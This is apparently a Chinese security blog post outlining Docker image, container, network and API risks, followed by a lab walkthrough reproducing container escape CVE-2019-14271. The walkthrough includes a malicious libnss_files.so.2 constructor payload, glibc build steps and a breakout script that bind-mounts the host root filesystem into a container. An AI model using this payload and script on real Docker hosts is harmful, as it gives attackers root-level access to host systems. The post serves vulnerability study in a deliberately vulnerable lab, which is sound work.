容器安全风险and容器逃逸漏洞实践
本文博客地址:https://security.blog.csdn.net/article/details/128966455
一、Docker存在的安全风险
1.1、Docker镜像存在的风险
不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至最终打包好的业务镜像中还包含完全用不到的开源组件。这导致许多开发者可能根本不知道自己的镜像中到底包含多少以及哪些组件。包含的组件越多,可能存在的漏洞就越多,大量引入第三方组件的同时也大量引入了风险。
恶意镜像:一些公共镜像仓库中可能存在一些恶意镜像,如果使用了这些镜像或把这些镜像作为基础镜像,就会产生相应的风险。
敏感信息泄露:为了开发、调试方便,开发者可能会将敏感信息如数据库密码、证书和私钥等内容直接写到代码中,或者以配置文件形式存放。构建镜像时,这些敏感内容被一并打包进镜像,甚至上传到公开的镜像仓库,从而造成敏感数据泄露。
1.2、Docker容器存在的风险
安全漏洞:容器应用代码也会存在SQL注入、XSS等安全漏洞,容器默认情况下连接到由docker0网桥提供的子网中。如果在启动时配置了端口映射,容器就能够对外提供服务。在这种情况下,这些安全漏洞就有可能被外部攻击者利用。
不受限制的资源共享:在默认情况下,Docker并不会对容器的资源使用进行限制。也就是说,默认配置启动的容器理论上能够无限使用宿主机的CPU、内存、硬盘等资源。如果容器使用了过多资源,就会对宿主机及宿主机上的其他容器造成影响,甚至形成资源耗尽型攻击。
隔离性风险:不安全的配置和挂载也可能容器的隔离性将被打破,进而导致安全风险。
1.3、其他风险
容器网络的风险:容器内的root用户虽然被Docker禁用了许多权限(Capabilities机制),但它目前依然具有CAP_NET_RAW权限,具备构造并发送ICMP、ARP等报文的能力。因此,ARP欺骗、DNS劫持等中间人攻击是可能发生在容器网络的。
管理接口的风险:Docker守护进程主要监听两种形式的Socket:UNIX socket和TCP socket,接口如果配置不当,攻击者可能会利用相应的权限实现容器逃逸,实现对目标主机的控制。
软件漏洞的风险:任何软件都存在漏洞。
1.4、容器逃逸
不安全配置导致的容器逃逸:用户可以通过修改容器环境配置或在运行容器时指定参数来调整约束,如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。
不安全挂载导致的容器逃逸:为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部,尤其是那些不完全受控的容器内部,往往会带来安全问题。
相关程序漏洞导致的容器逃逸:这里的相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。
内核漏洞导致的容器逃逸:从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸。
二、加载不受信任的动态链接库漏洞实践(CVE-2019-14271)
2.1、背景
在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力。
该漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。
2.2、准备工作
1、安装Ubuntu-18操作系统,这个就不再细说了
2、安装Docker先前操作:
# 添加索引
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 导入源仓库的GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 添加Docker APT软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 查看docker版本
apt list -a docker-ce# 安装指定版本
apt install docker-ce=5:19.03.3~3-0~ubuntu-bionic docker-ce-cli=5:19.03.3~3-0~ubuntu-bionic containerd.io
3、添加Docker源:
cd /etc/docker
vim daemon.json
--------------------------------------------------------------------------------------------------
{"registry-mirrors" : ["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn","https://cr.console.aliyun.com","https://mirror.ccs.tencentyun.com"]
}
--------------------------------------------------------------------------------------------------# 重启Docker让服务生效
systemctl daemon-reload
systemctl restart docker.service
4、安装M4:
wget https://ftp.gnu.org/gnu/m4/m4-1.4.19.tar.gz
tar -zxvf m4-1.4.19.tar.gz
cd m4-1.4.19
./configure
make
make install
5、安装bison:
wget http://ftp.gnu.org/gnu/bison/bison-3.8.2.tar.gz
tar -zxvf bison-3.8.2.tar.gz
cd ../bison-3.8.2
make
make install
ln -s /usr/bin/bison /usr/local/bin/bison
2.3、安装靶机环境
1、安装环境
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
2、安装该漏洞的Docker
./metarget cnv install cve-2019-14271
如果不报错,则表明安装成功了,如下所示:
2.4、确定目标
运行一个容器:
docker run -itd --name=14271 ubuntu bash
拿到容器的绝对路径,然后对其进行监控:
由上图可知,返回的workdir数据为:
workdir=/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/work
# 那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged
另起一个终端,使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:
apt install inotify-tools
inotifywait -mr /var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged/lib
执行docker cp命令:
docker cp 14271:/etc/passwd ./
此时在监控终端上就能看到inotifywait的输出:
可以看到,在这次复制操作中,docker-tar加载了libnss_files.so.2,接下来,我们以libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。
2.5、构建动态链接库
由于libnss_files.so.2在Glibc中,因此需要先下载Glibc库并解压:
wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2
tar -vxjf glibc-2.27.tar.bz2
注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败(第823行):
vim glibc-2.27/Makeconfig
---------------------------------------------------------------------------
# gccwarn-c = -Wstrict-prototypes -Wold-style-definition
在glibc-2.27/nss/nss_files/目录下任意源码文件中添加恶意payload,把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。
payload代码:
//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {char * argv_break[2];//判断当前是否是容器外的高权限进程(也就是docker-tar)//如果是容器内进程,则不做任何操作if (!is_priviliged())return;//攻击只需要执行一次即可//用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件//避免后续的docker cp操作持续加载恶意libnss_files.so.2文件rename(ORIGINAL_LIBNSS, LIBNSS_PATH);//以docker-tar进程的身份创建新进程,执行容器内/breakout脚本if (!fork()) {//Child runs breakoutargv_break[0] = strdup("/breakout");argv_break[1] = NULL;execve("/breakout", argv_break, NULL);}elsewait(NULL); //Wait for childreturn;
}
恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。
执行编译:
export LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/
mkdir glibc-build
cd glibc-build
# --disable-werror 避免高版本gcc把警告当成错误
# --disable-profile 不要碰配置信息
../glibc-2.27/configure --prefix=/usr/local/glibc-2.27 --disable-profile --disable-werror
# -i是为了忽略错误
make -i
编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。
2.6、实现逃逸
现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。
由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。
(宿主机)创建breakout脚本文件:
vim breakout
----------------------------------------------------------------------------------------------------
#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs
创建一个容器:
docker run -itd --name=victim ubuntu
将breakout脚本放入victim容器根目录:
docker cp breakout victim:/
(宿主机)查找libnss_files.so.2符号链接指向的库文件:
运行:
readlink -f /home/ubuntu/glibc-build/nss/libnss_files.so.2
返回:
/usr/lib/x86_64-linux-gnu/libnss_files.so
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /usr/lib/x86_64-linux-gnu/libnss_files.so
返回:
/lib/x86_64-linux-gnu/libnss_files.so.2
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /lib/x86_64-linux-gnu/libnss_files.so.2
返回:
/lib/x86_64-linux-gnu/libnss_files-2.27.so
(该文件为真实文件)
(宿主机)将回显的这个文件(/lib/x86_64-linux-gnu/libnss_files-2.27.so)移动到容器的根目录,并重命名:
# 复制到容器根目录
docker cp /lib/x86_64-linux-gnu/libnss_files-2.27.so victim:/
# 进入容器
docker exec -it victim bash
# 重命名文件
mv libnss_files-2.27.so original_libnss_files.so.2
将编译后产生恶意文件放到重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下:
# 重命名
mv libnss_files.so libnss_files.so.2
# 移动
docker cp libnss_files.so.2 victim:/lib/x86_64-linux-gnu/
此处我们仅作为验证,因此也或者直接将前面开源靶机metarget的EXP文件传入即可,位置如下:
metarget/writeups_cnv/docker-cve-2019-14271/exp/libnss_files.so.2
模拟执行docker cp操作:
docker cp victim:/etc/passwd ./
执行后,漏洞被触发,我们进入容器进行验证:
# 进入容器
docker exec -it victim bash# 容器内部已经可以看到挂载的/host_fs
cat /host_fs/etc/hostname
可见已经实现了容器逃逸,显示了宿主机的hostname:
相关文章:
容器安全风险and容器逃逸漏洞实践
本文博客地址:https://security.blog.csdn.net/article/details/128966455 一、Docker存在的安全风险 1.1、Docker镜像存在的风险 不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至…...
2023年美赛B题-重新想象马赛马拉
背景 肯尼亚的野生动物保护区最初主要是为了保护野生动物和其他自然资源资源。肯尼亚议会于2013年通过了《野生动物保护和管理法》提供更公平的资源共享,并允许替代的、以社区为基础的管理工作[1]。此后,肯尼亚增加了修正案,以解决立法中的空…...
Docker常用命令总结
目录 一、帮助启动类命令 (1)启动docker (2)停止docker (3)重启docker (4)查看docker (5)设置开机自启 (6)查看docker概要信息…...
mac环境,安装NMP遇到的问题
一 背景 项目开发中,公司项目需要使用本地的环境运行,主要是php这块的业务。没有使用docker来处理,重新手动撸了一遍。记录下其中遇到的问题; 二 遇到的问题 2.1 Nginx的问题 brew install nginx后,启动nginx,报错如下:nginx: [emerg] no "ssl_certificate" …...
Web Worker 与 SharedWorker 的介绍和使用
目录一、Web Worker1 Web Worker 是什么2 Web Worker 使用3 简单示例二、SharedWorker2.1 SharedWorker 是什么2.2 SharedWorker 的使用方式2.3 多页面数据共享的例子一、Web Worker 1 Web Worker 是什么 Web Worker是 HTML5 标准的一部分,这一规范定义了一套 API…...
React:Redux和Flux
React,用来构建用户界面,它有三个特点: 作为view,构建上用户界面虚拟DOM,目的就是高性能DOM渲染【diff算法】、组件化、多端同构单向数据流,是一种自上而下的渲染方式。Flux 在一个React应用中,UI部分是由无数个组件嵌套构成的,组件和组件之间就存在层级关系,也就是父…...
TypeScript 学习之Class
基本使用 class Greeter {// 属性greeting: string;// 构造函数constructor(message: string) {// 用this 访问类的属性this.greeting message;}// 方法greet() {return Hello, this.greeting;} } // 实例化 let greeter new Greeter(World);声明了一个Greeter类ÿ…...
doris - 数仓 拉链表 按天全量打宽表性能优化
数仓 拉链表 按天全量打宽性能优化现状描述优化现状描述 1、业务历史数据可以变更 2、拉链表按天打宽 3、拉链表模型分区字段设计不合理,通用的过滤字段没有作为分区分桶字段 4、拉链表表数据量略大、模型数据分区不合理和服务器资源限制,计算任务执行超…...
服务器虚拟化及优势
服务器虚拟化是从一台物理服务器创建多个服务器实例的过程。每个服务器实例代表一个隔离的虚拟环境。在每个虚拟环境中,都可以运行单独的操作系统。 1.更有效的资源调配 使用虚拟化技术大大节省了所占用的空间,减少了数据中心里服务器和相关硬件的数量。…...
华为ensp模拟校园网/企业网实例(同城灾备及异地备份中心保证网络安全)
文章简介:本文用华为ensp对企业网络进行了规划和模拟,也同样适用于校园、医院等场景。如有需要可联系作者,可以根据定制化需求做修改。作者简介:网络工程师,希望能认识更多的小伙伴一起交流,私信必回。一、…...
git命令篇(持续更新中)
首先介绍这个网页:https://learngitbranching.js.org/?localezh_CN --提交命令 git commit --创建分支 git branch <分支名> --切换分支 git checkout <分支名> --合并分支 (合并到主分支去,把我合并到谁的身上去) 自己写的分支合并到主线…...
用记事本实现“HelloWorld”输出
一、在任意文件夹中创建一个新的文本文档文件并写入以下代码 public class Hello{public static void main (String[] args){System.out.print("Hello,World!");} } 二、修改文件名称及文件类型为 Hello.java 特别注意:文件命名必须与代码中类的名称相同…...
Python基础1
1. 注释 单行注释:以#开头。一般建议注释和内容用空格隔开。 多行注释:以一对三个双引号括起来的内容是注释。“““示例注释”””。 2. 数据类型 验证数据类型的方法:type(被查看类型的数据)。 注意:…...
4.2 双点双向路由重发布
1. 实验目的 熟悉双点双向路由重发布的应用场景掌握双点双向路由重发布的配置方法2. 实验拓扑 双点双向路由重发布如图4-6所示: 图4-6:双点双向路由重发布 3. 实验步骤 IP地址的配置R1的配置 <Huawei>system-v…...
AcWing《蓝桥杯集训·每日一题》—— 3768 字符串删减
AcWing《蓝桥杯集训每日一题》—— 3768. 字符串删减 文章目录AcWing《蓝桥杯集训每日一题》—— 3768. 字符串删减一、题目二、解题思路三、代码实现本次博客我是通过Notion软件写的,转md文件可能不太美观,大家可以去我的博客中查看:北天的 …...
第五天笔记
1. 简述图片验证码使用流程? 1.前段生成UUID随机值,作为GET请求参数 2.后端试图进行判断,调用工具类来生成图片验证码和内容 3.将验证码内容使用redis保存到本地,前端传入的uuid作为key, 4.在前段输入获取到的图片验证码,想后端发…...
如何使用ArcGIS进行地理配准
1.概述 对于GIS数据而言,坐标信息是灵魂,有了坐标信息之后才能和别的数据结合使用,之前有介绍过矢量数据定义坐标信息的方法,针对栅格图,这里为大家介绍一下通过地理配准增加坐标信息的方法,希望能对你有所…...
【java基础知识】
Java中的基本数据类型是什么? byte:1字节,有符号,表示整数,范围为-128到127。short:2字节,有符号,表示整数,范围为-32768到32767。int:4字节,有符…...
Java提供了哪些IO方式? NIO如何实现多路复用?
第11讲 | Java提供了哪些IO方式? NIO如何实现多路复用? IO 一直是软件开发中的核心部分之一,伴随着海量数据增长和分布式系统的发展,IO 扩展能力愈发重要。幸运的是,Java 平台 IO 机制经过不断完善,虽然在某…...
人的大脑遇事的思考解决过程
人遇到问题的思考解决过程,大概如下:1) 遇到问题;2) 首先,不是直接推理,而是用直觉在自己的知识模式库里搜索,有没有相似的模式或者相同的模式。3) 如果:3a)有…...
GNU zlib 压缩与解压文件详细介绍
GNU zlib 压缩与解压文件详细介绍 1.概述 zlib 模块为 GNU 项目的 zlib 压缩库中的许多函数提供了一个低级接口 2.使用内存数据压缩与解压 2.1.压缩与解压缩 使用 zlib 的最简单方法是将所有数据保存在内存中进行压缩或解压缩。 import zlib import binasciioriginal_dat…...
离线环境轻量级自动化部署
流程图: 常规系统发布的痛点 服务器频繁重启,上面部署的应用服务不能随之重启,导致服务时常宕机应用手动部署相对比较麻烦,步骤繁琐应用发布环境取决于发布人本地环境,导致不同发布人每次发布环境不一致,导…...
In-context Learning
formulate the example query -> LLM -> answerno gradient descent and fine-tuning, no parameters updateadvantages: 提供了与LLM进行交流的可解释的接口,通过template和demonstration将人类知识和LLM更好的结合;更像人类的预测思维ÿ…...
【新2023】华为OD机试 - 最优调度策略(Python)
华为 OD 清单查看地址:blog.csdn.net/hihell/category_12199275.html 最优调度策略 题目 在通信系统中有一个常见的问题是对用户进行不同策略的调度 会得到不同系统消耗的性能 假设由 N 个待串行用户,每个用户可以使用 A/B/C 三种不同的调度策略 不同的策略会消耗不同的系…...
Python列表系列之统计计算
Python也提供了一些内置函数去实现诸如统计、计算的功能,下面我们具体来看一下 基本语法 1、获取元素出现的次数 使用列表的count()方法可以获取元素在列表中出现的次数,语法格式如下: listname.count(obj) lisetname:列表的名…...
【蓝桥杯集训·每日一题】AcWing 1460. 我在哪?
文章目录一、题目1、原题链接2、题目描述二、解题报告1、思路分析2、时间复杂度3、代码详解三、知识风暴二分查找哈希表一、题目 1、原题链接 1460. 我在哪? 2、题目描述 农夫约翰出门沿着马路散步,但是他现在发现自己可能迷路了! 沿路有一…...
一个不可忽视的重要能力
阅读本文大概需要 2.16 分钟。1、自我们开工后,年后第一场直播,场观二十万出头,以为是不是巧合还是卡 bug 了,就最近又测了下,发现连续几场直播下来,场观数据依旧很吓人,都是十几二十万…...
2023.2.6-2.12 AI行业周刊(第136期):住院
周末把父亲送到医院,安顿下来,这周还是决定做膝关节的手术了。 一辈子长期的劳累,加上前两年搬家时的辛苦,最终导致膝关节受损严重。 这两年来,走路每一步都很疼,纠结了很久,去了上海…...
听说2年以上的自动化测试都有16k+,4年10k的你还要等待奇迹吗?
个人简介学渣一枚,2017年6月某xx学校毕业。从事自动化测试已经4年,。2018年的时候,由于项目的原因,开始使用Robot Framework测试框架,正因为有Python的基础所以很快就理解了Robot Framework框架的工作原理,…...
git 命令实战
大家好,我是 17。 今天和大家一起用前面学过的命令做过实践。 git 命令实战 你在分支 A,一个同事在分支 B fix 了一个bug。你不方便 merge 分支B,只想更新这个 fix bug 的提交。 最先想到的是 cherry-pick,但还有两个办法,git restore&am…...
网络网站制作/免费网站seo
早晨起床时间:7:00 晚上休息时间:23:02 今日总结:今天主要在做一些测距之类的事。。...
四种软件开发模型/网站优化快速排名软件
HTML如何使用span标签的class属性发布时间:2020-07-15 14:43:10来源:亿速云阅读:354作者:Leah这篇文章将为大家详细讲解有关HTML如何使用span标签的class属性,文章内容质量较高,因此小编分享给大家做个参考…...
订餐网站怎么做/百度视频免费高清影视
通过Kubeadm只需几条命令即起一个单机版kubernetes集群系统,而后快速上手k8s。在kubeadm中,需手动安装Docker和kubeket服务,Docker运行容器引擎,kubelet是启动Pod的核心组件,每一个节点都安装好kubelet和Docker&#x…...
公司注册后怎么做网站/自己怎么搭建网站
说明: EXP-00091: 出口可疑的统计。 EXP-00091: Exporting questionable statistics. 产生: 在数据库的服务器端和客户端字符集不同的情况下,导出 (dump) 数据库表时,会产生这个错误。虽然产生这个错误,但好像对导…...
抖音团购小程序代理/百度关键词优化企业
“视频已发布到哔哩哔哩,点击阅读原文可以直接到达,求个三连不过分吧!uniapp基础部分有文档还看什么教程?官网文档非常的详细,但是如果没有接触过的新人看文档其实是没法学的,因为他不知道要完成一个开发&a…...
聊城网站制作信息/网站设计平台
前言 最近为了学习C和qt5,跟着教程写了一个翻金币的小游戏,源码和资源文件的链接在这里:翻金币小游戏源码和资源文件的下载链接。里面有自己写的超多代码注释,只要2个C币,去秒。 作为第一个QT项目,还是…...